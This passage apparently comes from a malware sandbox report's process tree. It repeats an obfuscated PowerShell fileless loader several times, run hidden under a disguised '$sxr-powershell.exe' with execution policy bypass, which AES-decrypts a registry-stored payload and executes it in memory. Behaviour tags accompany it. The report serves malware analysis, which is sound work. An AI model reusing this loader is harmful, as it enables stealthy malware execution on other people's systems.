[System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4900
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1284
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1368
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
